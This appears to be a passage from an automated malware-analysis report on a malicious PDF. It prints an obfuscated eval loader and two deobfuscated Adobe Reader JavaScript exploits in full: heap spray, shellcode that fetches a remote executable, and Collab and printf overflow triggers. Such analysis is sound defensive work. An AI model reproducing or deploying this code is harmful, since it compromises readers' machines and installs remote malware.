lNjYlNmIlNDIlNmUlMmIlMmIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNDklNjQlNzAlNTclNjYlNmElNjklNTYlNTUlNTIlMzQlNWIlNDglNDklNjYlNmQlNGQlNDIlNDQlNjYlNmIlNDIlNmUlNWQlMjAlM2QlMjAlNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMjAlMmIlMjAlNzUlNzMlMzclNmUlNzglNGElMzIlNjYlNzAlNDglNjglM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNmYlMzAlNGYlMzYlMzclNzglNTAlMzMlNGElNjIlNDUlMjglMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzMlNzIlNTclMzYlNmElNGUlNGUlMzElNDclNjYlNDElMjAlM2QlMjAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2QlMjAlNjElNzAlNzAlMmUlNzYlNjklNjUlNzclNjUlNzIlNTYlNjUlNzIlNzMlNjklNmYlNmUlMmUlNzQlNmYlNTMlNzQlNzIlNjklNmUlNjclMjglMjklM2IlMjAlMjAlMjAlMjAlNjElNzAlNzAlMmUlNjMlNmMlNjUlNjElNzIlNTQlNjklNmQlNjUlNGYlNzUlNzQlMjglNzclNmIlNjclNGYlN2ElMzUlNDQlMzclNzklNTglNDglMjklM2IlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2UlM2QlMjAlMzglMjAlMjYlMjYlMjAlNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2MlMjAlMzglMmUlMzElMzAlMzIlMjklMjAlN2MlN2MlMjAlNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2MlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNjIlNmQlMzklNzYlNDUlMzclNzUlNzglNmElNTIlNTklMjglMzAlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzklNzAlNzUlNDIlNDclNzklMzQlNDElNjclNGIlNzUlMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzAlNjMlMzAlNjMlMjUlNzUlMzAlNjMlMzAlNjMlMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNzklNzAlNzUlNDIlNDclNzklMzQlNDElNjclNGIlNzUlMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzQlMzQlMzklMzUlMzIlMjklMjAlNzklNzAlNzUlNDIlNDclNzklMzQlNDElNjclNGIlNzUlMjAlMmIlM2QlMjAlNzklNzAlNzUlNDIlNDclNzklMzQlNDElNjclNGIlNzUlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDMlNjklNzQlNTUlNmIlNDYlMzUlNGYlNzYlNDUlNWElMjAlM2QlMjAlNzQlNjglNjklNzMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNGYlNmElNzMlNzElNmIlNjglNjMlMzAlNDElNzYlNTAlMjAlM2QlMjAlNDMlNmYlNmMlNmMlNjElNjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNDMlNjklNzQlNTUlNmIlNDYlMzUlNGYlNzYlNDUlNWElNWIlMjIlNjMlNmYlNmMlNmMlNjElNjIlNTMlNzQlNmYlNzIlNjUlMjIlNWQlMjAlM2QlMjAlNGYlNmElNzMlNzElNmIlNjglNjMlMzAlNDElNzYlNTAlNWIlMjIlNjMlNmYlNmMlNmMlNjUlNjMlNzQlNDUlNmQlNjElNjklNmMlNDklNmUlNjYlNmYlMjIlNWQlMjglMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzUlNjIlNmElMjAlM2ElMjAlMjIlMjIlMmMlMjAlNmQlNzMlNjclMjAlM2ElMjAlNzklNzAlNzUlNDIlNDclNzklMzQlNDElNjclNGIlNzUlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjklNjYlMjglMjglNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2UlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlMjYlMjYlMjAlNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2MlMjAlMzglMmUlMzElMzAlMzQlMjklMjAlN2MlN2MlMjAlMjglNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2UlM2QlMjAlMzklMjAlMjYlMjYlMjAlNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2MlMjAlMzklMmUlMzElMjklMjAlN2MlN2MlMjAlNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2MlM2QlMjAlMzclMmUlMzElMzAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzQlNzIlNzklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNjElNzAlNzAlMmUlNjQlNmYlNjMlMmUlNDMlNmYlNmMlNmMlNjElNjIlMmUlNjclNjUlNzQlNDklNjMlNmYlNmUlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjIlNmQlMzklNzYlNDUlMzclNzUlNzglNmElNTIlNTklMjglMzIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNDglNmYlNTIlMzYlNjUlMzMlNjElNTYlMzclNzclNjglMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlMzAlMzklMjIlMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNDglNmYlNTIlMzYlNjUlMzMlNjElNTYlMzclNzclNjglMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlM2MlMjAlMzAlNzglMzQlMzAlMzAlMzAlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDglNmYlNTIlMzYlNjUlMzMlNjElNTYlMzclNzclNjglMjAlMmIlM2QlMjAlNDglNmYlNTIlMzYlNjUlMzMlNjElNTYlMzclNzclNjglM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNDglNmYlNTIlMzYlNjUlMzMlNjElNTYlMzclNzclNjglMjAlM2QlMjAlMjIlNGUlMmUlMjIlMjAlMmIlMjAlNDglNmYlNTIlMzYlNjUlMzMlNjElNTYlMzclNzclNjglM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjQlNzUlMzMlNDMlNTElMzclNDglNjUlMzklNDYlNjklMjAlM2QlMjAlNjElNzAlNzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjQlNzUlMzMlNDMlNTElMzclNDglNjUlMzklNDYlNjklNWIlMjIlNjQlNmYlNjMlMjIlNWQlNWIlMjIlNDMlNmYlNmMlNmMlNjElNjIlMjIlNWQlNWIlMjIlNjclNjUlNzQlNDklNjMlNmYlNmUlMjIlNWQlMjglNDglNmYlNTIlMzYlNjUlMzMlNjElNTYlMzclNzclNjglMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzIlNTclMzYlNmElNGUlNGUlMzElNDclNjYlNDElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzIlNTclMzYlNmElNGUlNGUlMzElNDclNjYlNDElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjMlNjElNzQlNjMlNjglMjglNjUlMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzMlNzIlNTclMzYlNmElNGUlNGUlMzElNDclNjYlNDElMjAlM2QlMjAlMzElM2IlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNzMlNzIlNTclMzYlNmElNGUlNGUlMzElNDclNjYlNDElMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjklNjYlMjglNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2QlM2QlMjAlMzglMmUlMzElMzAlMzIlMjAlN2MlN2MlMjAlNDQlNzIlNGElNDYlNjglNGIlMzklNGIlMzglNzQlNTIlMjAlM2QlM2QlMjAlMzclMmUlMzElMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjIlNmQlMzklNzYlNDUlMzclNzUlNzglNmElNTIlNTklMjglMzElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTglNjQlMzclMzclNDklNDMlNTUlNDYlNjclNzIlNGElMjAlM2QlMjAlMjIlMzElMzIlMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMzklMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNjclNjglNjclNjYlNDIlNjglNzUlNTUlNGMlNWElNTQlMjAlM2QlMjAlMzAlM2IlMjAlNjclNjglNjclNjYlNDIlNjglNzUlNTUlNGMlNWElNTQlMjAlM2MlMjAlMzIlMzclMzYlM2IlMjAlNjclNjglNjclNjYlNDIlNjglNzUlNTUlNGMlNWElNTQlMmIlMmIlMjklMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNTglNjQlMzclMzclNDklNDMlNTUlNDYlNjclNzIlNGElMjAlMmIlM2QlMjAlMjIlMzglMjIlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNmQlNzglNmElNmUlNzMlNTYlNjglNzIlNzglNWElNzklMjAlM2QlMjAlNzUlNzQlNjklNmMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNmQlNzglNmElNmUlNzMlNTYlNjglNzIlNzglNWElNzklNWIlMjIlNzAlNzIlNjklNmUlNzQlNjYlMjIlNWQlMjglMjIlMjUlMzQlMzUlMzAlMzAlMzAlNjYlMjIlMmMlMjAlNTglNjQlMzclMzclNDklNDMlNTUlNDYlNjclNzIlNGElMjklM2IlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlN2QlMjAlN2QlMjAiKSk7IAogYXBwLmd2WFB4SUlVVWJHID0gbzBPNjd4UDNKYkU7CiB3a2dPejVEN3lYSCA9IGFwcC5zZXRUaW1lT3V0KCJhcHAuZ3ZYUHhJSVVVYkcoKSIsIDEpOwo=");
var sssddd = eval;
sssddd(aasd);
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 9 at offset 0xD6 | 5218 bytes |
SHA-256: c778ca7e10a2a27de56417e1cf61ae2583e7f89c5430775e388a5224406c1963 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var IdpWfjiVUR4 = new Array();
var wkgOz5D7yXH;
var lave = eval;
lave(unescape(" function qvytZIxvCR0(r0xd7z0AHhA, TcaWdETNHS4) { while(r0xd7z0AHhA.length * 2 < TcaWdETNHS4) { r0xd7z0AHhA += r0xd7z0AHhA; } r0xd7z0AHhA = r0xd7z0AHhA.substring(0, TcaWdETNHS4 / 2); return r0xd7z0AHhA; } ")); lave(unescape(" function bm9vE7uxjRY(x0mf0NpQCC5) { if(x0mf0NpQCC5 == 0) { var i8NF4vJ6EN8 = 0x0c0c0c0c; var us7nxJ2fpHh = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(x0mf0NpQCC5 == 1) { i8NF4vJ6EN8 = 0x30303030; var us7nxJ2fpHh = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(x0mf0NpQCC5 == 2) { var us7nxJ2fpHh = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } var pQX27MOFyPZ = 0x400000; var rSnY4YTtcAS = us7nxJ2fpHh.length * 2; var TcaWdETNHS4 = pQX27MOFyPZ - (rSnY4YTtcAS + 0x38); var r0xd7z0AHhA = unescape("%u9090%u9090"); r0xd7z0AHhA = qvytZIxvCR0(r0xd7z0AHhA, TcaWdETNHS4); var Yp7pjTnGzSX = (i8NF4vJ6EN8 - 0x400000) / pQX27MOFyPZ; for(var HIfmMBDfkBn = 0; HIfmMBDfkBn < Yp7pjTnGzSX; HIfmMBDfkBn++) { IdpWfjiVUR4[HIfmMBDfkBn] = r0xd7z0AHhA + us7nxJ2fpHh; } } ")); lave(unescape(" function o0O67xP3JbE() { var srW6jNN1GfA = 0; var DrJFhK9K8tR = app.viewerVersion.toString(); app.clearTimeOut(wkgOz5D7yXH); if((DrJFhK9K8tR >= 8 && DrJFhK9K8tR < 8.102) || DrJFhK9K8tR < 7.1) { bm9vE7uxjRY(0); var ypuBGy4AgKu = unescape("%u0c0c%u0c0c"); while(ypuBGy4AgKu.length < 44952) ypuBGy4AgKu += ypuBGy4AgKu; var CitUkF5OvEZ = this; var Ojsqkhc0AvP = Collab; CitUkF5OvEZ["collabStore"] = Ojsqkhc0AvP["collectEmailInfo"]( { subj : "", msg : ypuBGy4AgKu } ); } if((DrJFhK9K8tR >= 8.102 && DrJFhK9K8tR < 8.104) || (DrJFhK9K8tR >= 9 && DrJFhK9K8tR < 9.1) || DrJFhK9K8tR <= 7.101) { try { if(app.doc.Collab.getIcon) { bm9vE7uxjRY(2); var HoR6e3aV7wh = unescape("%09"); while(HoR6e3aV7wh.length < 0x4000) { HoR6e3aV7wh += HoR6e3aV7wh; } HoR6e3aV7wh = "N." + HoR6e3aV7wh; var du3CQ7He9Fi = app; du3CQ7He9Fi["doc"]["Collab"]["getIcon"](HoR6e3aV7wh); srW6jNN1GfA = 1; } else { srW6jNN1GfA = 1; } } catch(e) { srW6jNN1GfA = 1; } if(srW6jNN1GfA == 1) { if(DrJFhK9K8tR == 8.102 || DrJFhK9K8tR == 7.1) { bm9vE7uxjRY(1); var Xd77ICUFgrJ = "12999999999999999999"; for(ghgfBhuULZT = 0; ghgfBhuULZT < 276; ghgfBhuULZT++) { Xd77ICUFgrJ += "8"; } var mxjnsVhrxZy = util; mxjnsVhrxZy["printf"]("%45000f", Xd77ICUFgrJ); } } } } "));
app.gvXPxIIUUbG = o0O67xP3JbE;
wkgOz5D7yXH = app.setTimeOut("app.gvXPxIIUUbG()", 1);
|
|||
generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode -> percent-decode from JavaScript object 9 at offset 0xD6 | 5214 bytes |
SHA-256: df6ef12e26743bb92422e040061eba68926f83b85266fc9e84669d185a2d94db |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 10 eval/decoder/string-building token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var IdpWfjiVUR4 = new Array();
var wkgOz5D7yXH;
var lave = eval;
lave(unescape(" function qvytZIxvCR0(r0xd7z0AHhA, TcaWdETNHS4) { while(r0xd7z0AHhA.length * 2 < TcaWdETNHS4) { r0xd7z0AHhA += r0xd7z0AHhA; } r0xd7z0AHhA = r0xd7z0AHhA.substring(0, TcaWdETNHS4 / 2); return r0xd7z0AHhA; } ")); lave(unescape(" function bm9vE7uxjRY(x0mf0NpQCC5) { if(x0mf0NpQCC5 == 0) { var i8NF4vJ6EN8 = 0x0c0c0c0c; var us7nxJ2fpHh = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(x0mf0NpQCC5 == 1) { i8NF4vJ6EN8 = 0x30303030; var us7nxJ2fpHh = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } else if(x0mf0NpQCC5 == 2) { var us7nxJ2fpHh = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u742F%u6874%u6C68%u6B6C%u2E6B%u6E69%u6F66%u2F2F%u6567%u6574%u6578%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078"); } var pQX27MOFyPZ = 0x400000; var rSnY4YTtcAS = us7nxJ2fpHh.length * 2; var TcaWdETNHS4 = pQX27MOFyPZ - (rSnY4YTtcAS + 0x38); var r0xd7z0AHhA = unescape("%u9090%u9090"); r0xd7z0AHhA = qvytZIxvCR0(r0xd7z0AHhA, TcaWdETNHS4); var Yp7pjTnGzSX = (i8NF4vJ6EN8 - 0x400000) / pQX27MOFyPZ; for(var HIfmMBDfkBn = 0; HIfmMBDfkBn < Yp7pjTnGzSX; HIfmMBDfkBn++) { IdpWfjiVUR4[HIfmMBDfkBn] = r0xd7z0AHhA + us7nxJ2fpHh; } } ")); lave(unescape(" function o0O67xP3JbE() { var srW6jNN1GfA = 0; var DrJFhK9K8tR = app.viewerVersion.toString(); app.clearTimeOut(wkgOz5D7yXH); if((DrJFhK9K8tR >= 8 && DrJFhK9K8tR < 8.102) || DrJFhK9K8tR < 7.1) { bm9vE7uxjRY(0); var ypuBGy4AgKu = unescape("%u0c0c%u0c0c"); while(ypuBGy4AgKu.length < 44952) ypuBGy4AgKu += ypuBGy4AgKu; var CitUkF5OvEZ = this; var Ojsqkhc0AvP = Collab; CitUkF5OvEZ["collabStore"] = Ojsqkhc0AvP["collectEmailInfo"]( { subj : "", msg : ypuBGy4AgKu } ); } if((DrJFhK9K8tR >= 8.102 && DrJFhK9K8tR < 8.104) || (DrJFhK9K8tR >= 9 && DrJFhK9K8tR < 9.1) || DrJFhK9K8tR <= 7.101) { try { if(app.doc.Collab.getIcon) { bm9vE7uxjRY(2); var HoR6e3aV7wh = unescape(" "); while(HoR6e3aV7wh.length < 0x4000) { HoR6e3aV7wh += HoR6e3aV7wh; } HoR6e3aV7wh = "N." + HoR6e3aV7wh; var du3CQ7He9Fi = app; du3CQ7He9Fi["doc"]["Collab"]["getIcon"](HoR6e3aV7wh); srW6jNN1GfA = 1; } else { srW6jNN1GfA = 1; } } catch(e) { srW6jNN1GfA = 1; } if(srW6jNN1GfA == 1) { if(DrJFhK9K8tR == 8.102 || DrJFhK9K8tR == 7.1) { bm9vE7uxjRY(1); var Xd77ICUFgrJ = "12999999999999999999"; for(ghgfBhuULZT = 0; ghgfBhuULZT < 276; ghgfBhuULZT++) { Xd77ICUFgrJ += "8"; } var mxjnsVhrxZy = util; mxjnsVhrxZy["printf"]("E000f", Xd77ICUFgrJ); } } } } "));
app.gvXPxIIUUbG = o0O67xP3JbE;
wkgOz5D7yXH = app.setTimeOut("app.gvXPxIIUUbG()", 1);
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.